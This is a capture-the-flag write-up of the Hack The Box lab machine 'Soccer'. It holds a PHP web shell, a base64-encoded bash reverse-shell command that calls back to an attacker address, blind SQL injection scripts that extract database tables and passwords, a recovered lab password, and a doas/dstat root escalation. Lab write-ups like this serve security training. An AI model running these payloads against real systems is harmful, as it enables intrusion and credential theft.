Soccer HTB writeup

Posted on Fri 24 February 2023 in hackthebox

This is a writeup of the machine Soccer from Hack The Box. As with all the machines on Hack The Box we start by performing an nmap scan against the machine: nmap -sC -sV -oA nmap/soccer 10.10.11.194

Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-24 11:55 EST
Nmap scan report for 10.10.11.194
Host is up (0.028s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
|   256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
|_  256 5797565def793c2fcbdb35fff17c615c (ED25519)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open  xmltec-xmlmail?
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest:
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 139
|     Date: Fri, 24 Feb 2023 16:55:52 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot GET /</pre>
|     </body>
|     </html>
|   HTTPOptions, RTSPRequest:
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Fri, 24 Feb 2023 16:55:52 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.93%I=7%D=2/24%Time=63F8EC12%P=x86_64-pc-linux-gnu%r(in
SF:formix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r
SF:\n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x
SF:20close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found\r\
SF:nContent-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type-Op
SF:tions:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nCo
SF:ntent-Length:\x20139\r\nDate:\x20Fri,\x2024\x20Feb\x202023\x2016:55:52\
SF:x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang
SF:=\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\n</
SF:head>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r(HT
SF:TPOptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Pol
SF:icy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\n
SF:Content-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\
SF:r\nDate:\x20Fri,\x2024\x20Feb\x202023\x2016:55:52\x20GMT\r\nConnection:
SF:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<me
SF:ta\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>C
SF:annot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,"HT
SF:TP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20default-s
SF:rc\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\x20
SF:text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Fri,\
SF:x2024\x20Feb\x202023\x2016:55:52\x20GMT\r\nConnection:\x20close\r\n\r\n
SF:<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=\"u
SF:tf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIONS\
SF:x20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad
SF:\x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%
SF:r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnect
SF:ion:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r
SF:\nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\x
SF:20Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.73 seconds

Port 80 redirects to http://soccer.htb/ so we add this to /etc/hosts.

b9a9be68ae838771658ea4539c4176fc.png

The website seems to be a simple football fan page without the possibility to change data on the server. Due to that we search for subdirectories:

gobuster dir \
    -u http://soccer.htb/ \
    -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://soccer.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Timeout:                 10s
===============================================================
2023/02/24 11:59:33 Starting gobuster in directory enumeration mode
===============================================================
/tiny                 (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]
Progress: 220458 / 220561 (99.95%)
===============================================================
2023/02/24 12:10:29 Finished
===============================================================

This gives us one more endpoint to try: http://soccer.htb/tiny/

c7d2571c37a041a1be775ceb41238152.png

Tiny File Manager can be found on Github and has some default credentials that we can try out: admin:admin@123

Reverse shell

7980db404697cbdcf70162b837f27035.png

After fiddling around with the file manager we can find the directory /tiny/uploads to which we have write access. So we create rev.php with the following contents:

<?php system($_GET['cmd']); ?>

And then call the PHP file with

http://soccer.htb/tiny/uploads/rev.php?cmd=echo+"YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC4yNS85MDAxIDA%2bJjE%3d"+|+base64+-d+|+bash

This spawns a reverse shell which we then can upgrade as always with:

python3 -c 'import pty; pty.spawn("/bin/bash")'
C-z
stty raw -echo
fg
enter
enter
export TERM=xterm
stty rows 73 cols 211

b5f366cbbda18287a22a87cce826a305.png

We are the user www-data. Let's see how we can priv esc.

Linpeas gives us the following open ports:

╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:9091            0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1119/nginx: worker
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      1119/nginx: worker

So let's see what is running on port 9091:

b3271c5e3972011487a2d016ea1db783.png

This seems to be some kind of node app as we can infer from the error Cannot GET /

We also find /etc/nginx/sites-enabled/soc-player.htb

4d78380a241acf07f25709d6c2b6a4bc.png

This mentions a new host soc-player.soccer.htb which we add to /etc/hosts.

6397b44f5b9d91a007dee10aaf56241a.png

This has new functionality including Signup and login os we create a new user and log in as said user.

671cf28ae69ffc9990f189147c9064d3.png

Once logged in we can search for tickets. In the developer console of our browser we can see that the app uses websockets to communicate with the server.

ead43713fabcc4fd01eeed1e2d4b6f75.png

And in the javascript source we can see how the request is generated:

e37a0b672fab58980025f28ffd76c2b5.png

After fiddling around with the search by hand it seems that we request is vulnerable to some kind of sql injection:

#!/usr/bin/env python

import asyncio
from websockets import connect

async def hello(uri):
    async with connect(uri) as websocket:
        await websocket.send('{"id":"1 or 1=1 + sleep(1) --"}')
        result = await websocket.recv()
        print(result)

asyncio.run(hello("ws://soc-player.soccer.htb:9091/"))

This code puts the server to sleep for a second. Instead of using sqlmap we try to build our own script to retrieve more data.

With the article from PayloadsAllTheThings

we learn how to detect the number of columns in the table:

1 or 1=1 ORDER BY 3-- # true
1 or 1=1 ORDER BY 4-- # false

This shows that we have three columns.

Further blind SQLi

Using the following read_tables.py one can extract the tables in the database:

#!/usr/bin/env python

import asyncio
from websockets import connect
import string

async def run():
    async with connect("ws://soc-player.soccer.htb:9091/") as websocket:
        table_offset = 0

        while True:
            result = ""

            pos = 1
            tried_all_characters = False

            while not tried_all_characters:
                tried_all_characters = True
                for character in string.ascii_letters + '_':
                    payload = f'1 or 1=1 and (SELECT SUBSTR(table_name,{pos},1) FROM information_schema.tables where table_type <> \\"SYSTEM VIEW\\" AND TABLE_SCHEMA not IN (\\"mysql\\",\\"information_schema\\",\\"performance_schema\\") ORDER BY TABLE_NAME LIMIT {table_offset}, 1) = \\"{character}\\"'

                    # print(f"Try '{character}' at position '{pos}'")

                    await websocket.send('{"id":"' + payload + '"}')
                    response = await websocket.recv()

                    # print(response)

                    if response == 'Ticket Exists':
                        tried_all_characters = False
                        result += character
                        # print(result)
                        break

                pos += 1

            if not result:
                break

            print(result)
            table_offset += 1

asyncio.run(run())

f80dcbf6e5143d7c2d8b7d9db17449a7.png

The accounts table looks interesting so we use the following read_columns.py to read all the columns:

#!/usr/bin/env python

import asyncio
from websockets import connect
import string

async def run():
    async with connect("ws://soc-player.soccer.htb:9091/") as websocket:
        table_name = "accounts"
        column_offset = 0

        while True:
            result = ""

            pos = 1
            tried_all_characters = False

            while not tried_all_characters:
                tried_all_characters = True
                for character in string.ascii_letters + '_':
                    payload = f'1 or 1=1 and (SELECT SUBSTR(column_name,{pos},1) FROM information_schema.columns where table_name = \\"{table_name}\\" ORDER BY COLUMN_NAME LIMIT {column_offset}, 1) = \\"{character}\\"'

                    # print(f"Try '{character}' at position '{pos}'")

                    await websocket.send('{"id":"' + payload + '"}')
                    response = await websocket.recv()

                    # print(response)

                    if response == 'Ticket Exists':
                        tried_all_characters = False
                        result += character
                        # print(result)
                        break

                pos += 1

            if not result:
                break

            print(result)
            column_offset += 1

asyncio.run(run())

1f9494e48f03fab6f5ebed1db33aad7c.png

Finally we can use the following read_rows.py to extract username and password from the accounts table:

#!/usr/bin/env python

import asyncio
from websockets import connect
import string

async def run():
    async with connect("ws://soc-player.soccer.htb:9091/") as websocket:
        table_name = "accounts"
        column_offset = 0

        while True:
            result = ""

            pos = 1
            tried_all_characters = False

            while not tried_all_characters:
                tried_all_characters = True
                for character in string.printable:
                    payload = f'1 or 1=1 and (SELECT SUBSTR(password,{pos},1) FROM accounts LIMIT {column_offset}, 1) = binary \\"{character}\\"'
                    # print(f"Try '{character}' at position '{pos}'")

                    await websocket.send('{"id":"' + payload + '"}')
                    response = await websocket.recv()

                    # print(response)

                    if response == 'Ticket Exists':
                        tried_all_characters = False
                        result += character
                        print(result)
                        break

                pos += 1

            if not result:
                break

            print(result)
            column_offset += 1

asyncio.run(run())

c37aeffdcd5b4f7ac6a027b507e27fc9.png

Of the two accounts test is the one we created and player looks interesting:

username: player
email: player@player.htb
password: PlayerOftheMatch2022

So let's try to ssh as player via ssh player@soccer.htb with password PlayerOftheMatch2022.

741ed48dea5e6ed489c86d5ccdb52c61.png

We can read the user flag as player. Now we need to priv esc.

f0119b7caf5fe41eaa06a50edc88b0db.png

Player may not run any command as sudo.

But using linpeas we see that player can run dstat as root:

╔══════════╣ Checking doas.conf
permit nopass player as root cmd /usr/bin/dstat

An entry for dstat can also be found in gtfobins. So we use that to priv esc;

echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_xxx.py
doas -u root /usr/bin/dstat --xxx

This gives as root access:

cf100530018b256848899ce60e07c6e7.png